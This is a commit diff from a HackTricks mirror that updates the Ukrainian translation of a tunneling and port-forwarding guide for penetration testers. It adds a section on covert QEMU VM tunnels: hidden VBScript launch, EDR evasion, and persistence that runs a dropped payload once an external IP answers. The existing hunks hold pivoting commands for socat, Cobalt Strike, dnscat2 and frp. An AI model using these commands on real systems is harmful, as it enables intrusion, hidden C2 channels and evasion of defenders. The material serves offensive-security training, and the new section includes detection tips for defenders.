mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md'] to u
This commit is contained in:
parent
cbd544f0d5
commit
d284e954eb
@ -5,7 +5,7 @@
|
|||||||
## Nmap tip
|
## Nmap tip
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **ICMP** та **SYN** сканування не можуть бути тунельовані через socks проксі, тому ми повинні **вимкнути пінг виявлення** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
|
> **ICMP** та **SYN** сканування не можуть бути тунельовані через проксі socks, тому ми повинні **вимкнути виявлення ping** (`-Pn`) і вказати **TCP сканування** (`-sT`), щоб це працювало.
|
||||||
|
|
||||||
## **Bash**
|
## **Bash**
|
||||||
|
|
||||||
@ -33,7 +33,7 @@ ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
|
|||||||
```
|
```
|
||||||
### Local Port2Port
|
### Local Port2Port
|
||||||
|
|
||||||
Відкрийте новий порт на SSH-сервері --> Інший порт
|
Відкрийте новий порт на SSH сервері --> Інший порт
|
||||||
```bash
|
```bash
|
||||||
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
|
||||||
```
|
```
|
||||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
|||||||
```
|
```
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **Безпека – Атака Terrapin (CVE-2023-48795)**
|
> **Безпека – Атака Terrapin (CVE-2023-48795)**
|
||||||
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені (**OpenSSH ≥ 9.6/LibreSSH 6.7**) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі.
|
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні підробити ранній SSH handshake і впровадити дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені ( **OpenSSH ≥ 9.6/LibreSSH 6.7** ) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH тунелі.
|
||||||
|
|
||||||
## SSHUTTLE
|
## SSHUTTLE
|
||||||
|
|
||||||
@ -160,10 +160,10 @@ rportfwd stop [bind port]
|
|||||||
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
|
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
|
||||||
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
|
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
|
||||||
|
|
||||||
### rPort2Port local
|
### rPort2Port локально
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server), а звідти до вказаного хоста:порту.
|
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хосту:порту.
|
||||||
```bash
|
```bash
|
||||||
rportfwd_local [bind port] [forward host] [forward port]
|
rportfwd_local [bind port] [forward host] [forward port]
|
||||||
rportfwd_local stop [bind port]
|
rportfwd_local stop [bind port]
|
||||||
@ -241,7 +241,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
|||||||
|
|
||||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||||
|
|
||||||
Зворотний тунель. Тунель запускається з жертви.\
|
Зворотний тунель. Тунель починається від жертви.\
|
||||||
Створюється socks4 проксі на 127.0.0.1:1080
|
Створюється socks4 проксі на 127.0.0.1:1080
|
||||||
```bash
|
```bash
|
||||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||||
@ -294,8 +294,6 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
|
|||||||
```bash
|
```bash
|
||||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||||
```
|
```
|
||||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
|
||||||
|
|
||||||
### SSL Socat Tunnel
|
### SSL Socat Tunnel
|
||||||
|
|
||||||
**/bin/sh console**
|
**/bin/sh console**
|
||||||
@ -326,7 +324,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
|||||||
|
|
||||||
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
|
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
|
||||||
|
|
||||||
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш ssh-сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
||||||
```bash
|
```bash
|
||||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||||
@ -350,7 +348,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||||||
Вам потрібно мати **доступ до RDP через систему**.\
|
Вам потрібно мати **доступ до RDP через систему**.\
|
||||||
Завантажте:
|
Завантажте:
|
||||||
|
|
||||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP-з'єднання**.
|
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP з'єднання**.
|
||||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||||
|
|
||||||
На вашому клієнтському комп'ютері завантажте **`SocksOverRDP-Plugin.dll`** ось так:
|
На вашому клієнтському комп'ютері завантажте **`SocksOverRDP-Plugin.dll`** ось так:
|
||||||
@ -364,7 +362,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
|||||||
```
|
```
|
||||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||||
```
|
```
|
||||||
Тепер підтвердіть на вашій машині (атакуючий), що порт 1080 слухає:
|
Тепер підтвердіть на вашій машині (атакуючого), що порт 1080 слухає:
|
||||||
```
|
```
|
||||||
netstat -antb | findstr 1080
|
netstat -antb | findstr 1080
|
||||||
```
|
```
|
||||||
@ -434,7 +432,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||||||
```
|
```
|
||||||
#### **У PowerShell**
|
#### **У PowerShell**
|
||||||
|
|
||||||
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у powershell:
|
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у PowerShell:
|
||||||
```
|
```
|
||||||
Import-Module .\dnscat2.ps1
|
Import-Module .\dnscat2.ps1
|
||||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||||
@ -459,7 +457,7 @@ Proxychains перехоплює виклик `gethostbyname` libc і тунел
|
|||||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||||
|
|
||||||
Root потрібен в обох системах для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів.
|
Для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів потрібен root доступ в обох системах.
|
||||||
```bash
|
```bash
|
||||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||||
@ -484,7 +482,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||||||
## ngrok
|
## ngrok
|
||||||
|
|
||||||
[**ngrok**](https://ngrok.com/) **є інструментом для експонування рішень в Інтернеті в один рядок команди.**\
|
[**ngrok**](https://ngrok.com/) **є інструментом для експонування рішень в Інтернеті в один рядок команди.**\
|
||||||
_Експозиційні URI виглядають так:_ **UID.ngrok.io**
|
_Експоновані URI виглядають так:_ **UID.ngrok.io**
|
||||||
|
|
||||||
### Встановлення
|
### Встановлення
|
||||||
|
|
||||||
@ -570,7 +568,7 @@ Tunnel: <TUNNEL-UUID>
|
|||||||
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
|
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
|
||||||
url: http://127.0.0.1:8000
|
url: http://127.0.0.1:8000
|
||||||
```
|
```
|
||||||
Розпочніть з'єднувач:
|
Запустіть з'єднувач:
|
||||||
```bash
|
```bash
|
||||||
cloudflared tunnel run mytunnel
|
cloudflared tunnel run mytunnel
|
||||||
```
|
```
|
||||||
@ -578,7 +576,7 @@ cloudflared tunnel run mytunnel
|
|||||||
|
|
||||||
## FRP (Швидкий зворотний проксі)
|
## FRP (Швидкий зворотний проксі)
|
||||||
|
|
||||||
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – додатковий бінарний файл не потрібен.
|
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-пробивання**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – без додаткового бінарного файлу.
|
||||||
|
|
||||||
### Класичний зворотний TCP тунель
|
### Класичний зворотний TCP тунель
|
||||||
```bash
|
```bash
|
||||||
@ -608,11 +606,69 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
|||||||
# On victim (OpenSSH client only)
|
# On victim (OpenSSH client only)
|
||||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||||
```
|
```
|
||||||
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для використання ресурсів на місці.
|
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для pivoting, що використовує ресурси.
|
||||||
|
|
||||||
|
## Секретні тунелі на базі VM з QEMU
|
||||||
|
|
||||||
|
Мережеве підключення в режимі користувача QEMU (`-netdev user`) підтримує опцію під назвою `hostfwd`, яка **прив'язує TCP/UDP порт на *хості* і пересилає його в *гостя***. Коли гість запускає повний SSH демон, правило hostfwd надає вам одноразовий SSH jump box, який повністю знаходиться всередині епhemeral VM – ідеально для приховування трафіку C2 від EDR, оскільки вся шкідлива діяльність і файли залишаються на віртуальному диску.
|
||||||
|
|
||||||
|
### Швидка однорядкова команда
|
||||||
|
```powershell
|
||||||
|
# Windows victim (no admin rights, no driver install – portable binaries only)
|
||||||
|
qemu-system-x86_64.exe ^
|
||||||
|
-m 256M ^
|
||||||
|
-drive file=tc.qcow2,if=ide ^
|
||||||
|
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
|
||||||
|
-device e1000,netdev=n0 ^
|
||||||
|
-nographic
|
||||||
|
```
|
||||||
|
• Команда вище запускає образ **Tiny Core Linux** (`tc.qcow2`) в оперативній пам'яті.
|
||||||
|
• Порт **2222/tcp** на хості Windows прозоро перенаправляється на **22/tcp** всередині гостьової системи.
|
||||||
|
• З точки зору атакуючого, ціль просто відкриває порт 2222; будь-які пакети, які досягають його, обробляються сервером SSH, що працює у віртуальній машині.
|
||||||
|
|
||||||
|
### Запуск непомітно через VBScript
|
||||||
|
```vb
|
||||||
|
' update.vbs – lived in C:\ProgramData\update
|
||||||
|
Set o = CreateObject("Wscript.Shell")
|
||||||
|
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
|
||||||
|
```
|
||||||
|
Запуск скрипта з `cscript.exe //B update.vbs` тримає вікно прихованим.
|
||||||
|
|
||||||
|
### Угостева стійкість
|
||||||
|
|
||||||
|
Оскільки Tiny Core не має стану, зловмисники зазвичай:
|
||||||
|
|
||||||
|
1. Скидають payload до `/opt/123.out`
|
||||||
|
2. Додають до `/opt/bootlocal.sh`:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||||
|
/opt/123.out
|
||||||
|
```
|
||||||
|
|
||||||
|
3. Додають `home/tc` та `opt` до `/opt/filetool.lst`, щоб payload був упакований у `mydata.tgz` під час вимкнення.
|
||||||
|
|
||||||
|
### Чому це уникає виявлення
|
||||||
|
|
||||||
|
• Лише два непідписаних виконуваних файли (`qemu-system-*.exe`) торкаються диска; драйвери або служби не встановлюються.
|
||||||
|
• Продукти безпеки на хості бачать **безневинний зворотний трафік** (фактичний C2 завершується всередині VM).
|
||||||
|
• Сканери пам'яті ніколи не аналізують простір зловмисного процесу, оскільки він живе в іншій ОС.
|
||||||
|
|
||||||
|
### Поради для захисників
|
||||||
|
|
||||||
|
• Сповіщати про **неочікувані бінарні файли QEMU/VirtualBox/KVM** в шляхах, доступних для запису користувачем.
|
||||||
|
• Блокувати вихідні з'єднання, які походять від `qemu-system*.exe`.
|
||||||
|
• Шукати рідкісні порти прослуховування (2222, 10022, …), які прив'язуються відразу після запуску QEMU.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Інші інструменти для перевірки
|
## Інші інструменти для перевірки
|
||||||
|
|
||||||
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
- [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||||
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
- [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||||
|
|
||||||
|
## Посилання
|
||||||
|
|
||||||
|
- [Hiding in the Shadows: Covert Tunnels via QEMU Virtualization](https://trustedsec.com/blog/hiding-in-the-shadows-covert-tunnels-via-qemu-virtualization)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user